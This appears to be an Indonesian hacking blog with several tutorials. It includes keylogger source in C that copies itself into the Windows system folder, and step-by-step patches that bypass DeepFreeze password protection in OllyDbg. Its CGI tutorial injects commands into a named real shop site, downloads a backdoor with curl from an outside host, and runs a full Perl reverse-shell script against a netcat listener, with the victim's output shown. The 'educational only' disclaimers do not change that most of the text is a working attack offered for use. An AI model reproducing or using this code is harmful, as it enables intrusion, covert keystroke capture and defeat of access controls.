.:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.

Intro
$>API atau Application Programming Interface merupakan fungsi-fungsi Eksternal
yang terdapat dalam file-file perpustakaan Windows (Library Windows) atau file
library lainnya yang dapat dimanfaatkan oleh aplikasi. File Lib (Library) ini
terdapat di Folder system Windows (C:\Windows\System32). Penggunaannya dalam
sebuah aplikasi haruslah dideklarasikan terlebih dahulu di Source Code aplikasi.

Tujuan Penggunaan
$>Kadang kita berpikir "Gimana sih aplikasi kita biar bisa nyatet ketikan keyboard?"
atau "Gimana sih aplikasi kita bisa nyari folder system windust(Baca:Windows) secara
otomatis tanpa kita kasi tahu pathnya terlebih dahulu?", jawabannya adalah dengan
menggunakan fungsi-fungsi API yang ada. Dibuat dari bahasa apakah Fungsi API itu?
Pada permulaannya API ditulis dengan bhs C/C++ lalu pemanfaatannya sangatlah luas oleh
bhs program lain (VB, DELPHI, Dll) yang tentunya memerlukan suatu konversi terhadap
pendeklarasiannya.

Tools atau Softwarez dan Skill yang diperlukan
$>Setidaknya anda telah belajar menggunakan ataupun membuat suatu aplikasi dengan
VB (Visual Basic) atau DELPHI ataupun C/C++.
$>Softwarez : M$ Visual Basic 5.0/6.0 atau DELPHI
M$ Visual C++ 6.0 atau compiler C/C++ yang lain
$>Tools : API Text Viewer

Tutorial
$>Sebagai contoh akan saya berikan suatu Aplikasi Keylogger (Aplikasi yang mencatat
Ketikan keyboard lalu menyimpannya ke File .log) dengan bhs C. Fungsi API yang akan
digunakan adalah :

- GetSystemDirectory(LPSTR lpBuffer,Uint uSize)
Adalah Fungsi API yang akan mencari Folder/Direktori System Windust
Dimana LPSTR lpBuffer adalah variabel dengan tipe data char[256] dan
Uint uSize adalah variabel dengan tipe data Integer dengan nilai
sizeof(lpBuffer). Nilai balik fungsi ini akan memberikan nilai sesuai dengan
panjang Direktori system tsb. Contoh :
int i;char j[256];
i = GetSystemDirectory(j,sizeof(j));
misal j bermuatan = "F:\Windows\System32"
maka i == sizeof(j) == 19

- GetAsyncKeyState(Uint var)
Adalah fungsi yang akan mengembalikan nilai -32767 bila var bernilai kode ascii
yang benar/valid. Contoh :
if(GetAsyncKeyState(i)==-32767)
printf("OK");
maka bila kita ketik apa saja di keyboard maka akan mencetak "OK" di layar.

- GetKeyState(Uint var)
Adalah fungsi yang hampir sama dgn GetAsyncKeyState hanya saja akan mengembalikan
nilai 1 bila var bernilai benar/valid. Fungsi ini akan mengecek kondisi dari abjad
yang diketikkan apakah huruf KAPITAL (VK_CAPITAL) yakni tombol CAPSLOCK ditekan atau tidak.
Contoh :
if(GetKeyState(VK_CAPITAL))
printf("KAPITAL");
maka bila kita menekan tombol CAPSLOCK maka akan mencetak "KAPITAL" di layar.

$>Lalu bagaimana kita menggunakan fungsi-fungsi API diatas? Dalam bhs C/C++ kita dapat langsung
menggunakannya tanpa perlu dideklarasikan terlbih dahulu. Sedangkan untuk Visual Basic atau DELPHI
harus dideklarasikan di bagian General. Contoh (Dalam Visual BAsic 6.0) :

(General)
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Sebagaimana kita dapat lihat fungsi API GetAsyncKeyState tersebut menggunakan library "user32" dan
nilai baliknya adalah tipr data Integer.

$>Sedangkan implementasinya pada program keylogger kita adalah sebagai berikut :

$>Penggunaan GetAsyncKeyState() :
----------------potong di sini-------------------

while(1) //Perulangan tak hingga (Infinite Loop)
{
for(j=8;j<=255;j++) //perulangan sesuai dengan ASCII (dimulai dari ASCII 8)
{
if (GetAsyncKeyState(j)==-32767) //Fungsi API, nilai balik = -32767 bila ASCII valid
{
if (j==8) //dimana j adalah var int
catat("[del]"); //masukkan ke fungsi catat()
if (j==13)
catat("[enter]");
if (j==32)
catat("[space]");
if(j==VK_CAPITAL)
catat("[CapitalLetters]");
if (j==VK_TAB)
catat("[TAB]");
if (j ==VK_SHIFT)
catat("[SHIFT]");
if (j ==VK_CONTROL)
catat("[CTRL]");
if (j ==VK_PAUSE)
catat("[PAUSE]");
if (j ==VK_KANA)
catat("[Kana]");
if (j ==VK_ESCAPE)
catat("[ESC]");
if (j ==VK_END)
catat("[END]");
if (j ==VK_HOME)
catat("[HOME]");
if (j ==VK_LEFT)
catat("[LEFT]");
if (j ==VK_UP)
catat("[UP]");
if (j ==VK_RIGHT)
catat("[RIGHT]");
if (j ==VK_DOWN)
catat("[DOWN]");
if (j ==VK_SNAPSHOT)
catat("[PRINT]");
if (j ==VK_NUMLOCK)
catat("[NUM LOCK]");
if (j ==190 || j==110)
catat(".");
if (j >=96 && j <= 105) //periksa apakah yg ditekan adalah numerik key
{
j = j - 48;
teks[x]=j; //teks adalah char teks[5000]
x++; //var x digunakan untuk pengaturan string dalam array teks
}
if (j >=48 && j <= 59) //periksa apakah yg ditekan adalah numerik key di numpad
{
teks[x]=j;
x++;
}
if (j !=VK_LBUTTON || j !=VK_RBUTTON)
{
if (j >=65 && j <=90) //
{
if (GetKeyState(VK_CAPITAL)) //fungsi API GetKeyState()
catat(&j);
else
{
j = j +32; //mencatat alfabet kecil (non-kapital)
teks[x]=j;
x++;
}
}
}


}
}

}

int catat(char *tamp2) //fungsi untuk memasukkan string ke dalam array teks
{
sprintf(tamp,"%s",tamp2);
strcat(teks,tamp);
x=x+strlen(tamp);
}

----------------potong di sini-------------------

$>Penggunaan GetSystemDirectory() :
----------------potong di sini-------------------

m=GetSystemDirectory(s,255); //m adalah var integer yang akan berisi panjang dari path folder System Windust
if(m!=0) //Cek apakah m tidak sama dengan 0
strcat(dir,s); //memasukkan path dari folder system ke var char dir[256]
y=CopyFile(argv[0],(strcat(dir,"coba.exe")),TRUE) //copy file kita ke folder windust, jika berhasil y akan bernilai TRUE

----------------potong di sini-------------------

$>Potongan Source Code diatas belumlah optimal, dikarenakan masih menggunakan statement-statement yang
sama berulang kali. Lalu bagaimana dengan fungsi API yang lain? MAsih banyak fungsi-fungsi API yang lain seperti keybd_event,
SetActiveWindow, LoadAccelerators dan lain-lain. Tetapi karena keterbatasan waktu dan tempat saya tidak bisa menjabarkan
satu persatu, mungkin pada kesempatan yang lain.

Thanks,


Referensi : Pemograman WINDOWS API dengan MS Visual Basic oleh Rahadian Hadi
WWW.Planet-source-code.com
www.google.co.id

UN-Freeze DeepFreeze di Win2K/Xp

- 24-10-05 -

Pengantar:
Penulis tidak bertanggung jawab akan kerusakan atau kerugian yang ditimbulkan akibat penggunaan ataupun
pelaksanaan tutorial ini. Tutorial ditujukan untuk mereka yang mau belajar bukan untuk mereka yang ingin
merusak bahkan merugikan orang lain dengan tindakannya.Anyway, Let's Get It on!!!!

$>DeepFreeze adalah salah satu Software yang digunakan untuk mengamankan, mencegah dan mengontrol komputer
dari pengerusakan yang dilakukan sengaja ataupun tidak sengaja.
Sesuai dengan namanya software ini akan "Membekukan" segala yang ada di partisi "beku"nya.
Tidak ada "Restriction" dalam penggunaan komputer yang "dibekukan", hanya saja semua settingan, dan kondisi
komputer akan kembali seperti semula setelah komputer di-restart / booting.
$>Tutorial ini akan membahas tentang cara Disable/Un-freeze DeepFreeze versi 4.20.020.0598, 4.20.120.0598,
4.20.121.0613, 5.20.220.1125 dan 5.30.120.1181 pada OS Windows 2K/XP.

$>Pada umumnya DeepFreeze mempunyai aplikasi yang aktif di komputer yang masih "Enable", dan bila kita ingin
mengubah setingan dari DeepFreeze maka harus masuk ke menu Config yang diproteksi oleh password tentunya.
$>Ada beberapa cara untuk men-Disable software ini, yaitu dengan menggunakan disket (bootable tentunya)
lalu boot dari disket itu dan memindahkan file DFSERVEX.EXE yang berada di path c:\progra~1\hypert~1\deepfr~1
ke tempat lain. Dan yang terakhir yaitu dengan menggunakan Disassembler untuk mem-Patch File Frzstate(2K).exe.
Tutorial ini akan membahas cara yang kedua.

Tools yang diperlukan :
1.Ollydbg 1.10 > http://www.ollydbg.de/
2.Process Explorer > http://www.sysinternals.com/
3.Ollyscript > http://ollyscript.apsvans.com/
4.ASPack 2.12 OEP finder script by hacnho/VCT2k4 > http://ollyscript.apsvans.com/

Langkah-langkah :
1.Jalankan Process Explorer lalu lihat aplikasi Frzstate.exe atau Frzstate2k.exe yang berjalan lalu klik kanan
untuk melihat propertiesnya. Catat Properties Command Linenya yang berisi path program itu dan 3 angka terakhir.
contoh : C:\Program Files\HyperTechnologies\Deep Freeze\_$Df\FrzState.exe 1 1066917 0 << 3 angka terakhir
2.Jalankan Ollydbg 1.10 dan buka Aplikasi Frzstate(2k).exe melalui path yang sudah dicatat. Jangan lupa masukkan
3 angka terakhir di kolom Arguments.
3.Akan ada box peringatan yang muncul hiraukan saja, pada box peringatan kedua kilk No.
4.Jalankan Plug-in OllyScript dengan memb-Browse-nya di menu Options>Appearance>Plugi-in Path
5.Jalankan Script EOP di menu Plugins>Run Script>Ollyscript tentukan path dari EOP script lalu klik Open.
6.Setelah itu script akan membuka code asli. Perhatikan apakah ada ikon dfreeze di system tray (DFreeze dapat diset-
untuk tidak menampilkannya),bila tidak ada klik kanan pada jendela code pilih Go to>Expression dan masukkan nilai
berikut :
versi 4.20.020.0598 > 40A2BE
versi 4.20.120.0598 > idem
versi 4.20.121.0613 > 409F4A
versi 5.20.220.1125 > 40FC4A
versi 5.30.120.1181 > idem
dan klik Ok. Setelah itu program akan menuju ke baris tersebut. Klik kanan lagi pilih Assemble lalu isi kolom dengan
ekspresi NOP dan jangan lupa checklist pilihan Fill with NOP's lalu klik Assemble.
7.Kembali lagi ke jendela code, klik kanan untuk memilih Go to dan isi dengan nilai berikut :
versi 4.20.020.0598 > 40368D
versi 4.20.120.0598 > idem
versi 4.20.121.0613 > 4034F5
versi 5.20.220.1125 > 4037E9
versi 5.30.120.1181 > 4037E9
lalu kilk Ok. Program akan menuju baris tersebut. Kita akan membuat sebuah BreakPoint disini.
8.Klik kanan pilih Breakpoint>Toogle, lalu tekan F9 untuk eksekusi baris tersebut. Bila benar akan muncul 2 ikon
Deepfreeze pada system tray. Pilihlah salah satu ikon tersebut dan tekan Shift+dobel klik atau ctrl+Shift+Alt+F6
untuk membuka Form Login DFreeze. Isi kolom password dengan apa saja allu klik OK atau Enter.
9.Jika ikon yang kita pilih benar maka form Login tersebut seolah-olah "Membeku". Kembali ke jendela code di Ollydbg
tekan F8 dan lihat jendela register di sebelah kanan, ganti isi register EAX dengan nilai 1 (dalam hexadesimal) dengan
dobel klik di register tersebut. (nilai 000000000 merupakan value "False" untuk pengecekan password)
10.Tekan F9 untuk eksekusi program lagi, bila benar maka kita akan mendapatkan sebuah form Config dari DeepFreeze.


referensi :
1.http://usuarios.arnet.com.ar/fliamarconato/
2.http://webs.uolsinectis.com.ar/c_delgado/

Connect Back melalui Bug CGI

- 6-11-05 -
.:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.
Penulis tidak bertanggung jawab atas akibat atau dampak yang disebabkan oleh
penggunaan materi dari tutorial ini. Tujuan penulis hanya ingin menyampaikan
materi kepada pihak-pihak yang bertanggung jawab dan "Want to learn", tidak
kepada pihak-pihak yang ingin merugikan orang lain.
.:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.:..:.:.:.:.:.

Intro
$>Seperti yang sudah kita tahu Bug CGI memungkinkan kita untuk melaksanakan command-command
untuk meng-eksploitasi sistem. Tetapi hal ini juga dipengaruhi oleh settingan dari sistem
tersebut apakah mengijinkan kita untuk membuat/menulis File di Server tersebut.

Tujuan
$>Membuat suatu backdoor dengan cara connect back melalui CGI Bug

Tools atau Softwarez dan Skill yang diperlukan
$>Setidaknya mengerti perintah/command *Nix atau Linux (ls, cp, rm, cat, locate ,dll)
$>Softwarez : Browser HTML (Opera, FireFox, IE, dll)
$>Tools : NetCat dan file backdoor (.txt atau .prl)

Tutorial
$>Langkah pertama yang harus dilakukan adalah mencari site yang menggunakan CGI dengan bug :
"shop.pl?seite" atau "family_showpage.cgi". Bagaimana mencarinya? yaitu googling dan memasukkan
keyword allinurl dengan tambahan bug diatas. Contoh, allinurl : "shop.pl?seite". Maka kita akan
dapat berbagai macam halaman yang dapat di-tes bugnya. Pilih salah satu dan kita akan memulai mencoba
connect back.
$>Langkah kedua yaitu masukkan perintah/command yang diinginkan diantara char "||", maka perintah kita
akan terlihat seperti ini : |perintah|, selain dengan char pipe(|) bisa juga menggunakan char ";".
Contoh (dengan bug shop.pl?seite) :

>> https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html&KNR=3055892
>> https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|perintah|&KNR=3055892
>> https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|ls|&KNR=3055892

Maka pada browser kita akan terlihat isi dari direktori server tersebut.
Contoh :
finnishorder.pl formmailmalaysia.pl honeymoon.cfg honeymoon.pl honeymoonfinnishorder.pl
honeymoonorder.pl ikonboard order.pl preise.pl remview.php shop.cfg shop.pl

Weikkss....Banyak filenya tuh :P

$>Langkah ketiga cek apakah kita diijinkan untuk menulis/membuat file disana dengan perintah "id"

>> https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|id|&KNR=3055892

Kalo benar maka akan tampak :

uid=290076(ade001) gid=103(web) groups=103(web)

Perhatikan User-idnya, Wah sepertinya kita bisa nih nulis/remove File :D

$>Selanjutnya kita upload File Backdoor yang kita ambil dari site lain,

https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|curl -o back.txt http://www.goodwillco.com/tes.txt|&KNR=3055892

Catatan : Site www.goodwillco.com hanya menyediakan file backdoor yaitu tes.txt, kalo sudah tidak ada silahkan
copy-paste teks berikut kedalam Notepad dan simpan dengan Ekstensi *.txt, Coding by 1St :D

#!/usr/bin/perl
# Remote Connect-Back Backdoor Shell v1.0.
# (c)AresU 2004
# 1ndonesia Security Team (1st)
# AresU[at]bosen.net
# Usage:
# 1) Listen port to received shell prompt using NetCat on your toolbox, for example: nc -l -p 9000
# 2) Remote Command Execution your BackDoor Shell, for example: perl connect.pl
# --------
# The supplied exploit code is not to be used for malicious purpose, but for educational purpose only. The Authors and 1ndonesian Security Team WILL NOT responsible for anything happened by the couse of using all information on these website.
# ---------

use Socket;
$pamer="(c)AresU Connect-Back Backdoor Shell v1.0\n1ndonesia Security Team (1st)\n\n";
$cmd= "lpd";
$system= 'echo "`uname -a`";echo "`id`";/bin/sh';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
print STDOUT $pamer;
system($system);
close(STDIN);
close(STDOUT);
close(STDERR)

Catatan2 : curl -o akan menyimpan file backdoor di server web sasaran dengan nama back.txt
Kalo curl -o tidak bisa gunakan wget -o.

$> Lakukan lagi perintah ls untuk melihat apakah file backdoor kita sudah ter-upload...

https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|ls|&KNR=3055892

back.txt finnishorder.pl formmailmalaysia.pl honeymoon.cfg honeymoon.pl honeymoonfinnishorder.pl
honeymoonorder.pl ikonboard order.pl preise.pl remview.php shop.cfg shop.pl

Tampaknya file backdoor kita sudah ada tuh :D

$> Buka port di kompie kita dengan binding port melalui netcat.exe, Perintahnya >

C:\>netcat.exe -lLvvp 9000

catatan: port 9000 dan drive system bisa diganti sesuai dengan kondisi komputer masing2 :D

Kalo sudah maka netcat akan melisten koneksi yang masuk di port 9000 tersebut

$> Kita akan melakukan connectback dari server korban dengan meng-compile file backdorr tsb :

https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|PERL back.txt 61.xxx.xxx.xxx 9000|&KNR=3055892

catatan: ip 61.xxx.xxx.xxx adalah alamat IP komputer kita dan 9000 adalah port tujuan yang sudah terbuka
jika komputer kita memakai proxy atau firewall harap di konfigurasi ulang agar server korban bisa melakukan
connectback terhadap kita :D

Bila benar maka :

C:\>netcat -lLvvp 9000
listening on [any] 9000 ...
connect to [61.xxx.xxx.xxx] from www.a66.de [213.198.17.90] 14542
(c)AresU Connect-Back Backdoor Shell v1.0
1ndonesia Security Team (1st)

Linux a66.de 2.4.2 FreeBSD 4.7-RELEASE-p22 #5: Tue May 3 13:36:49 MDT 2005
roo i386 unknown
uid=290076(ade001) gid=103(web) groups=103(web)
ls
back.txt
finnishorder.pl
formmailmalaysia.pl
honeymoon.cfg
honeymoon.pl
honeymoonfinnishorder.pl
honeymoonorder.pl
ikonboard
order.pl
preise.pl
remview.php
shop.cfg
shop.pl
su
su: you are not in the correct group (sys) to su root.

weiikkssss....bisa konek ternyata :D, tapi sayangnya kita gak bisa akses super user tuh :(
Mungkin kita bisa liat groupnya :

https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|ls /etc|&KNR=3055892

DIR_COLORS X11 bashrc csh.cshrc csh.login filesystems group host.conf hosts.allow hosts.deny info-dir inputrc
ld.so.cache ld.so.conf ldap_auth master.passwd mhpop_redirect mtab nsswitch.conf opt pam.d passwd profile profile.d
redhat-release rpc rpm securetty shells skel ssd.attrib syb_dbs termcap xinetd.d yp.conf

https://www.a66.de/cgi-local/shop.pl?seite=hauptseite.html|cat /etc/group|&KNR=3055892

sys::0:root,bin,sys,adm,devel,smoc1,daemon,vbackups,sap,sentinel root::0:root daemon::1:root,daemon bin::2:root,bin,daemon
adm::3:root,adm,daemon mail::4:root uucp::5:uucp rje::8: lp:*:9: nuucp::10:nuucp user::20: ftp::201:
other::995: guest:*:998: postgres:*:70: news:*:86: mysql:*:88: sql:*:89: staff::100:devel,smoc1 sybase::101:sybase,devel,webapps,sap,jkoecher,anonweb
client:*:102:devel,root,webapps,urchind web:*:103:root,webapps nofiles:*:104: qmail:*:105: devel:*:106:sybase,hu,webapps,sap,ftp,jkoecher,anonweb mailed:*:107:barryg
apps:*:108:hu,idsuser networks:*:109: squid:*:203: solutions:*:1025: test:*:204: dnsadmin:x:501:named tsedit:*:110:lvance,chuckr,eduda,ggarza,steve,mbalme mailedit:*:111:mminnig
nogroup:*:65533: webapps:*:149: sap:*:191: nobody:*:60001: smmsp:*:25:smmsp

Wekkksss...... :( ternyata kita hanya ada di group web doank :~~...gimana ngerubahnya ???
sayangnya tutorial ini hanya membahas caraa kita untuk melakukan connectback dengan menggunakan CGI BUG
Untuk lebih jelasnya silakan cari artikel ttg hal tsb di Google :D
Terus kita bisa ngapain ajah nih??? ya macam2 kayak liat file order.log-nya mungkin !!!???? :D
(ingat site ini adalah semacam online-shop :D), silakan masukkan perintah locate order.log atau
locate .log di browser anda :D hehehehehehhe




Special Thanks go to : Myztx @ Myztx Soft House, Om choi @ #e-c-h-o atas tutor dan kesabarannya dalam mengajari junior mu ini :D
, admin www.a66.de hehehehe jangan marah ya mas/mbak :P webnya dijadikan percobaan :D
n ndak lupa juga to Spyro (the dragon??? :P) atas tempat buat artikel ini di webnya yg makin ciamik :D

Tutorial UnFreeze DeepFreeze Versi 3 di Win 9x (Saduran)

- 24-10-05 -

Pengantar:
Penulis tidak bertanggung jawab akan kerusakan atau kerugian yang ditimbulkan akibat penggunaan ataupun
pelaksanaan tutorial ini. Tutorial ditujukan untuk mereka yang mau belajar bukan untuk mereka yang ingin
merusak bahkan merugikan orang lain dengan tindakannya.Anyway, Let's Get It on!!!!

$>DeepFreeze adalah salah satu Software yang digunakan untuk mengamankan, mencegah dan mengontrol komputer
dari pengerusakan yang dilakukan sengaja ataupun tidak sengaja.
Sesuai dengan namanya software ini akan "Membekukan" segala yang ada di partisi "beku"nya.
Tidak ada "Restriction" dalam penggunaan komputer yang "dibekukan", hanya saja semua settingan, dan kondisi
komputer akan kembali seperti semula setelah komputer di-restart / booting Bahkan dari FORMAT sekalipun!!!!.
$>Tutorial ini akan membahas tentang cara Disable/Un-freeze DeepFreeze versi 3.32.000.0534 pada OS Windows 9x. Secara sederhana
kita hanya akan mendapatkan akses ke menu config DeepFreeze dengan password Invalid.

Tools yang diperlukan :
1.Ollydbg 1.10 > http://www.ollydbg.de/ >> debugger kita
2.Process Explorer > http://www.sysinternals.com/ >> Process viewer
3.DesAspack 2.11 > http://protools.cjb.net/ >> Unpacker buat Aspack 2.11

Langkah-langkah :
1. Jalankan Process Explorer lalu cari process Program Frzstate.exe (Program ini yang menyimpan status Deepfreeze Freeze/Thawed),
lihat bagian Propertiesnya dengan meng-klik kanan dan catat atau hapalkan Path dimana program itu berada.
2. Selanjutnya kita akan mematikan process Frzstate.exe tsb...TUnggu dulu kita tidak bisa langsung mematikannya begitu saja,
karena bila kita langsung kill process program tsb maka dia akan muncul kembali..!!! mengapa demikian?? ternyata DeepFreeze
mempunyai program yang mengecek keberadaan process dari Frzstate.exe tsb... Cari nama process program MSGSRV32.exe pada
process explorer kita dan matikan processnya lalu baru kita matikan process Frzstate.exenya...
3. jalankan DesAspack 2.11 untuk unpack program Frzstate.exe (ingat Path porgram ini!) dengan memilih file yang akan di-unpack.
4. Setelah proses unpack sukses maka akan ada file baru bernama out.exe di direktori yang sama dengan Frzstate.exe, file ini bernama out.exe
....File ini yang selanjutnya akan kita bypass....Jalankan Ollydbg1.10 dan buka file out.exe tsb.
5. Setelah out.exe teranalisa, maka klik kanan untuk memilih option Goto (kita akan meloncat ke line number tertentu) dan isikan dengan 417410
lalu OK.
6. Maka pointer atau highlight akan berada di baris tersebut (417410), baris inilah yang akan mengecek apakah Password kita Valid atau tidak,
kita harus membuat suatu Stopper disini dnegan klik kanan lalu pilih BreakPoint > Toogle.
7. Setelah kita buat Stopper, maka selanjutnya kita harus menjalankan file out.exe ini, tekan F9 dan program out.exe akan jalan, bila benar
maka akan ada ikon DeepFreeze yang baru (setelah sebelumnya tidak ada karena Process Frzstate.exe kita matikan)...
8. Jalankan Logon Window dari out.exe ini dengan memilih ikonnya di system tray(SHIFT+dobel klik) atau tekan CTRL+SHIFT+ALT+F6, maka kita akan
menuju ke window prompt password DeepFreeze :), masukkan password apa saja di kolom Enter Password dan klik OK.
9. Selanjutnya program out.exe akan terhenti karena stopper yang kita buat sebelumnya, lihat kolom registers FPU (sebelah kanan window kode-kode)
lalu lihat bagian Flag Z, disana termuat nilai 1 (artinya Password yang kita masukkan salah, hal ini berbeda dengan DeepFreeze Versi 4 atau 5)..
ganti nilai Flag Z tersebut dengan dobel klik di Flag Z tsb (nilai akan berubah menjadi 0, artinya password kita dianggap Valid :D)...Lalu tekan F9
lagi dan ............ VIOLA window Boot Control dari Deep Freeze muncul dengan status2nya :D hehehehehehehehhe

referensi :
1.http://usuarios.arnet.com.ar/fliamarconato/
2.http://webs.uolsinectis.com.ar/c_delgado/
3.http://google.co.id/


Greetings :
- Emiliano Scavuzzo (anshoku@yahoo.com) //Thanks 4 Ur tutor(s) n Software(s)
- MyzTx @ MyzTx Soft. House // Thanks 4 Ur support Dude!! :P

Duh pertama kali nih :D

Owwww Yeaahhhh!!! Blog pertamaQuwwww.....

Gk da yang special di sini... tapi aq harap yang baca betah n mau ngasi saran-kritik buat blog ini :D


Thx,